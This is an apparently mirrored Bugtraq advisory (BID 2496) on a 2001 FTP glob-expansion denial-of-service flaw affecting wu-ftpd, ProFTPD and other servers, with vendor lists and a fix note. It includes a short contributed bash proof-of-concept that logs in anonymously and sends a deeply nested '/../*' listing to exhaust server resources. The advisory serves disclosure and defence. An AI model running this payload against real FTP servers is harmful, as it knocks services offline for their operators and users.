Multiple Vendor FTP glob Expansion Vulnerability

BID:2496

Info

Multiple Vendor FTP glob Expansion Vulnerability

Bugtraq ID: 2496
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 15 2001 12:00AM
Updated: Mar 15 2001 12:00AM
Credit: This vulnerability was announced to the Bugtraq mailing list by Frank DENIS (Jedi/Sector One) <[email protected]> on March 15, 2001.
Vulnerable: Washington University wu-ftpd 2.6 .0
+ Cobalt Qube 1.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux 4.2
+ Conectiva Linux 4.1
+ Conectiva Linux 4.0 es
 + Conectiva Linux 4.0
+ Debian Linux 2.2 sparc
 + Debian Linux 2.2 powerpc
 + Debian Linux 2.2 arm
 + Debian Linux 2.2 alpha
 + Debian Linux 2.2 68k
 + Debian Linux 2.2
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3 -STABLE
 - FreeBSD FreeBSD 4.3 -RELEASE
 - FreeBSD FreeBSD 4.3
+ HP HP-UX 11.11
+ HP HP-UX 11.0
+ RedHat Linux 6.2 sparc
 + RedHat Linux 6.2 i386
 + RedHat Linux 6.2 alpha
 + RedHat Linux 6.1 sparc
 + RedHat Linux 6.1 i386
 + RedHat Linux 6.1 alpha
 + RedHat Linux 6.0 sparc
 + RedHat Linux 6.0 alpha
 + RedHat Linux 6.0
+ RedHat Linux 5.2 sparc
 + RedHat Linux 5.2 i386
 + RedHat Linux 5.2 alpha
 + S.u.S.E. Linux 7.3 sparc
 + S.u.S.E. Linux 7.3 ppc
 + S.u.S.E. Linux 7.3 i386
 + S.u.S.E. Linux 7.2 i386
 + S.u.S.E. Linux 7.1 x86
 + S.u.S.E. Linux 7.1 sparc
 + S.u.S.E. Linux 7.1 ppc
 + S.u.S.E. Linux 7.1 alpha
 + S.u.S.E. Linux 7.0 sparc
 + S.u.S.E. Linux 7.0 ppc
 + S.u.S.E. Linux 7.0 i386
 + S.u.S.E. Linux 7.0 alpha
 + S.u.S.E. Linux 6.4 ppc
 + S.u.S.E. Linux 6.4 alpha
 + S.u.S.E. Linux 6.4
+ S.u.S.E. Linux 6.3 ppc
 + S.u.S.E. Linux 6.3 alpha
 + S.u.S.E. Linux 6.3
+ S.u.S.E. Linux 6.2
+ S.u.S.E. Linux 6.1 alpha
 + S.u.S.E. Linux 6.1
+ Turbolinux Turbolinux 4.0
+ Wirex Immunix OS 6.2
Washington University wu-ftpd 2.5 .0
+ Caldera OpenLinux 2.4
+ Caldera OpenLinux Desktop 2.3
+ RedHat Linux 6.0 sparc
 + RedHat Linux 6.0 alpha
 + RedHat Linux 6.0
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ SCO eServer 2.3
Washington University wu-ftpd 2.4.2 academ[BETA1-15]
+ Caldera OpenLinux Standard 1.2
Washington University wu-ftpd 2.4.2 academ[BETA-18]
+ RedHat Linux 5.2 i386
 Trolltech ftpd 1.25
Trolltech ftpd 1.24
Trolltech ftpd 1.23
Trolltech ftpd 1.22
Trolltech ftpd 1.21
Sun Solaris 8_x86
Sun Solaris 8_sparc
Sun Solaris 7.0_x86
Sun Solaris 7.0
S.u.S.E. Linux 7.2
PureFTPd PureFTPd 0.96
ProFTPD Project ProFTPD 1.2.1
ProFTPD Project ProFTPD 1.2 pre9
ProFTPD Project ProFTPD 1.2 pre8
ProFTPD Project ProFTPD 1.2 pre7
ProFTPD Project ProFTPD 1.2 pre6
ProFTPD Project ProFTPD 1.2 pre5
ProFTPD Project ProFTPD 1.2 pre4
ProFTPD Project ProFTPD 1.2 pre3
ProFTPD Project ProFTPD 1.2 pre2
ProFTPD Project ProFTPD 1.2 pre11
ProFTPD Project ProFTPD 1.2 pre10
ProFTPD Project ProFTPD 1.2 pre1
ProFTPD Project ProFTPD 1.2 .0rc3
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux graficas
 + Conectiva Linux ecommerce
 + Mandriva Linux Mandrake 8.1 ia64
 + Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
ProFTPD Project ProFTPD 1.2
+ Cobalt Qube 3.0
+ Cobalt Qube 2.0
+ Cobalt RaQ 3.0
+ Cobalt RaQ 2.0
+ Cobalt RaQ 1.1
OpenBSD OpenBSD 2.7
OpenBSD OpenBSD 2.6
Mandriva Linux Mandrake 8.0
IBM AIX 4.3
HP HP-UX 11.11
HP HP-UX 11.0
HP HP-UX 10.20
HP HP-UX 10.10
HP HP-UX 10.0 1
FreeBSD FreeBSD 4.2
FreeBSD FreeBSD 3.5.1
Debian Linux 2.2 sparc
Debian Linux 2.2 powerpc
Debian Linux 2.2 arm
Debian Linux 2.2 alpha
Debian Linux 2.2 68k
Debian Linux 2.2
BeroFTPD BeroFTPD 1.3.4
Apple Mac OS X 10.0.1
Apple Mac OS X 10.0
Not Vulnerable: Washington University wu-ftpd 2.6.1
+ Caldera OpenLinux 2.3
+ Caldera OpenLinux Server 3.1
+ Cobalt Qube 1.0
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
- FreeBSD FreeBSD 5.0 alpha
 - FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3 -STABLE
 - FreeBSD FreeBSD 4.3 -RELEASE
 - FreeBSD FreeBSD 4.3
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
+ RedHat Linux 7.2 noarch
 + RedHat Linux 7.2 ia64
 + RedHat Linux 7.2 i686
 + RedHat Linux 7.2 i586
 + RedHat Linux 7.2 i386
 + RedHat Linux 7.2 athlon
 + RedHat Linux 7.2 alpha
 + RedHat Linux 7.1 noarch
 + RedHat Linux 7.1 ia64
 + RedHat Linux 7.1 i686
 + RedHat Linux 7.1 i586
 + RedHat Linux 7.1 i386
 + RedHat Linux 7.1 alpha
 + RedHat Linux 7.0 sparc
 + RedHat Linux 7.0 i386
 + RedHat Linux 7.0 alpha
 - S.u.S.E. Linux 7.3
- S.u.S.E. Linux 7.2
- S.u.S.E. Linux 7.1 x86
 - S.u.S.E. Linux 7.1 sparc
 - S.u.S.E. Linux 7.1 ppc
 - S.u.S.E. Linux 7.1 alpha
 - S.u.S.E. Linux 7.1
- S.u.S.E. Linux 7.0 sparc
 - S.u.S.E. Linux 7.0 ppc
 - S.u.S.E. Linux 7.0 alpha
 - S.u.S.E. Linux 7.0
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ SCO Open Server 5.0.6 a
 + SCO Open Server 5.0.6
+ SCO Open Server 5.0.5
+ SCO Open Server 5.0.4
+ SCO Open Server 5.0.3
+ SCO Open Server 5.0.2
+ SCO Open Server 5.0.1
+ SCO Open Server 5.0
- Slackware Linux 8.0
- Slackware Linux 7.1
- Slackware Linux 7.0
+ Turbolinux Turbolinux 6.0.5
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
+ Turbolinux Turbolinux 6.0
+ Turbolinux Turbolinux Workstation 6.1
+ Wirex Immunix OS 7.0 -Beta
 + Wirex Immunix OS 7.0
+ Wirex Immunix OS 7+
 Apple Mac OS X 10.0.2

Discussion

Multiple Vendor FTP glob Expansion Vulnerability

Many FTP servers are vulnerable to a denial of service condition resulting from poor globbing algorithms and user resource usage limits.

Globbing generates pathnames from file name patterns used by the shell, eg. wildcards denoted by * and ?, multiple choices denoted by {}, etc.

The vulnerable FTP servers can be exploited to exhaust system resources if per-user resource usage controls have not been implemented.

Exploit / POC

Multiple Vendor FTP glob Expansion Vulnerability

Contributed by Enrico Kern <[email protected]>:

#!/bin/bash=20
ftp -n FTP-SERVER<<\end=20
quot user anonymous
bin
quot pass [email protected]
ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
bye=20
end=20

Solution / Fix

Multiple Vendor FTP glob Expansion Vulnerability

Solution:
This issue was remedied in ProFTPD versions later than 1.2.1.

Upgrades are available.


ProFTPD Project ProFTPD 1.2 .0rc3

ProFTPD Project ProFTPD 1.2 pre4

ProFTPD Project ProFTPD 1.2 pre5

ProFTPD Project ProFTPD 1.2 pre8

ProFTPD Project ProFTPD 1.2 pre11

ProFTPD Project ProFTPD 1.2 pre6

ProFTPD Project ProFTPD 1.2 pre1

ProFTPD Project ProFTPD 1.2 pre9

ProFTPD Project ProFTPD 1.2 pre7

ProFTPD Project ProFTPD 1.2 pre3

ProFTPD Project ProFTPD 1.2 pre2

ProFTPD Project ProFTPD 1.2

ProFTPD Project ProFTPD 1.2 pre10

ProFTPD Project ProFTPD 1.2.1

HP HP-UX 10.0 1

HP HP-UX 10.10

HP HP-UX 10.20

HP HP-UX 11.0

HP HP-UX 11.11

References

Multiple Vendor FTP glob Expansion Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report